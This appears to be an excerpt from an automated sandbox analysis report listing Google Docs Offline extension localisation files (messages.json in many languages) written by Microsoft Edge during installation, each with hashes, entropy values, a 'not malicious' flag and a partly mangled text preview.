Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
